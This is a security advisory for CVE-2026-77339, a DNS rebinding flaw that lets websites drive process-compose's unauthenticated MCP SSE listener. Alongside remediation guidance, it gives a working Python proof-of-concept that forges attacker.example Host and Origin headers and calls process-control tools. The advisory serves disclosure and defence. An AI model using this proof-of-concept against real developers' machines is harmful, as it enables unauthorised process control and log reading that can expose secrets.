CVE-2026-77339: Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Summary
A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.
This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.
The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.
Affected Code
Root cause:
text src/types/mcp.go:24-30 SSE is the default MCP transport when mcpserver.transport is omitted. src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field. src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address. src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.
Impact surface:
text src/mcp/mcpmanager.go:33-38 exposecontroltools registers built-in process-compose control tools. src/mcp/controltools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs. src/mcp/controltools.go:121-142 The registered tools return project and process state.
Reproduction
Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:
bash workdir="$(mktemp -d)" cd "$workdir" git clone https://github.com/F1bonacc1/process-compose process-compose-target cd process-compose-target git checkout d56aa59df04b72f8644811ac581a051bec05e485
go build -o ./process-compose-poc .
cat > process-compose-mcp-poc.yaml <<'YAML' mcpserver: host: 127.0.0.1 port: 8081 transport: sse exposecontroltools: true
processes: sleeper: command: "sleep 600" disabled: true YAML
PCNOSERVER=1 PCDISABLEDOTENV=1 ./process-compose-poc up \ -f ./process-compose-mcp-poc.yaml \ -t=false \ --no-server \ --keep-project \ --log-file ./process-compose-mcp-poc.log
In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:
bash python3 - <<'PY' import http.client import json import queue import threading import time import urllib.parse
host = "127.0.0.1" port = 8081 attackerhost = "attacker.example:8081" origin = "http://attacker.example:8081" headers = { "Host": attackerhost, "Origin": origin, "Accept": "text/event-stream", }
events = queue.Queue()
def readsse(resp): event = None data = None while True: line = resp.readline() if not line: return text = line.decode("utf-8", "replace").strip() if text.startswith("event:"): event = text.split(":", 1)[1].strip() elif text.startswith("data:"): data = text.split(":", 1)[1].strip() elif text == "" and (event or data): events.put((event, data)) event = None data = None
conn = http.client.HTTPConnection(host, port, timeout=10) conn.request("GET", "/sse", headers=headers) resp = conn.getresponse() print("GET /sse", resp.status) print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin")) threading.Thread(target=readsse, args=(resp,), daemon=True).start()
endpoint = None deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "endpoint": endpoint = data break assert endpoint, "no SSE endpoint event" print("endpoint", endpoint)
def post(message): parsed = urllib.parse.urlparse(endpoint) path = parsed.path + ("?" + parsed.query if parsed.query else "") body = json.dumps(message).encode() c = http.client.HTTPConnection(host, port, timeout=10) c.request("POST", path, body=body, headers={ "Host": attackerhost, "Origin": origin, "Content-Type": "application/json", "Content-Length": str(len(body)), "Authorization": "Bearer invalid-replay-token", }) r = c.getresponse() r.read() c.close() print("POST", message.get("method"), r.status)
def waitresult(rpcid): deadline = time.time() + 10 while time.time() < deadline: event, data = events.get(timeout=1) if event == "message" and data: msg = json.loads(data) if msg.get("id") == rpcid: return msg raise SystemExit(f"no result for id {rpcid}")
post({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "rebind-poc", "version": "1.0.0"} } }) print(json.dumps(waitresult(1), indent=2))
post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})
post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}}) tools = waitresult(2) names = [tool["name"] for tool in tools["result"]["tools"]] print("tools", names)
post({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "pcprocesslist", "arguments": {} } }) print(json.dumps(waitresult(3), indent=2)) PY
Observed Result
The MCP SSE listener accepted the forged browser-origin request shape:
text Host: attacker.example:8081 Origin: http://attacker.example:8081 Authorization: Bearer invalid-replay-token
The server returned GET /sse: HTTP 200 with Access-Control-Allow-Origin: . The MCP session then completed initialize, returned the process-compose tool catalog, and allowed tools/call to reach a process-control handler.
The operator reproduced the issue against the genuine process-compose target and observed pcprocesslist returning:
json { "data": [ { "name": "sleeper", "namespace": "default", "status": "Disabled", "systemtime": "-", "age": 0, "isready": "-", "hasreadyprobe": false, "restarts": 0, "exitcode": 0, "pid": 0, "iselevated": false, "passwordprovided": false, "mem": 0, "cpu": 0, "isrunning": false } ] }
Earlier replay against the same target also listed 13 pc MCP control tools and reached project-state and process-control calls through the SSE message endpoint.
Impact
A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.
With exposecontroltools: true, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.
Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.
Suggested Fix
Add a target-side trust boundary to the MCP SSE listener before MCP dispatch:
1. Reject requests whose Host header is not loopback or an explicit configured trusted name. 2. Reject browser requests whose Origin is not a trusted loopback or configured origin. 3. Require a random per-run bearer token or equivalent caller secret on both /sse and the returned /message endpoint. 4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports. 5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.
Other sources
Process Compose is a scheduler and orchestrator for non-containerized applications. Prior to 1.120.0, the MCP SSE listener in src/mcp/server.go accepts browser-origin requests to /sse and the returned message endpoint without validating the Host header, validating the Origin header, or authenticating the caller. When MCP SSE is enabled, a malicious website can use DNS rebinding to reach the loopback listener and issue MCP requests. If exposecontroltools is enabled, the attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes; configured user-defined tools can expose additional commands and output. The Gin REST API token middleware does not protect this separately started MCP listener. This issue is fixed in version 1.120.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/f1bonacc1/process-composeto a version that resolves this vulnerability.Fixed in 1.120.0 - Upgrade
Upgrade
https://github.com/F1bonacc1/process-composeto a version that resolves this vulnerability.Fixed in 1.120.0 - Configuration
When MCP SSE is enabled, require a random per-run bearer token (or equivalent caller secret) and validate it for browser requests to the MCP SSE endpoint (/sse) and the returned message endpoint. Do not dispatch requests into MCP tools until the caller-secret check passes.
process-compose MCP SSE listener Authorization (caller-secret / bearer token) = Require a random per-run bearer token (or equivalent caller secret) on both /sse and the returned /message endpoint - Configuration
Reject browser-origin requests to /sse whose Origin is not a trusted loopback or not explicitly configured as an allowed origin.
process-compose MCP SSE listener Origin allowlist = Reject any Origin not a trusted loopback or explicitly configured origin - Configuration
Reject browser requests to /sse whose Host header is not loopback and not an explicitly configured trusted name.
process-compose MCP SSE listener Host allowlist = Reject any Host header that is not loopback or an explicit configured trusted name - Configuration
If expose_control_tools is enabled, ensure the MCP SSE transport still enforces caller-secret authentication before any tools catalog (initialize/tools/list) or tools/call dispatch can occur; do not rely on the Gin REST middleware token protecting this separately started MCP listener.
process-compose configuration expose_control_tools = true/false (apply with authorization gating) - Compensating control
Add an explicit trust boundary for MCP SSE before MCP dispatch: do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports; enforce caller-secret + Host allowlist + Origin allowlist.
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments running versions prior to 1.120.0 are exposed when the MCP SSE listener is enabled. The impact is greater when expose_control_tools is enabled or when user-defined MCP tools expose commands or output.
What does an attacker need to exploit this issue?
An attacker needs a victim to visit a malicious website while the vulnerable MCP SSE listener is running locally. The attack uses DNS rebinding to send browser-origin requests to the loopback listener; the listener does not validate Host or Origin headers and does not authenticate callers.
Does the REST API token protect the MCP endpoint?
No. The MCP listener is started separately, and the Gin REST API token middleware does not protect it.
What can an attacker do through exposed control tools?
With expose_control_tools enabled, an attacker can enumerate process state, read or search logs, truncate logs, and start, stop, restart, or scale local processes. User-defined tools may expose additional commands and output.
What is the available remediation?
Upgrade Process Compose to version 1.120.0, which fixes the issue. If upgrading cannot happen immediately, disabling the MCP SSE listener prevents the described attack path; disabling expose_control_tools reduces the listed process-control impact.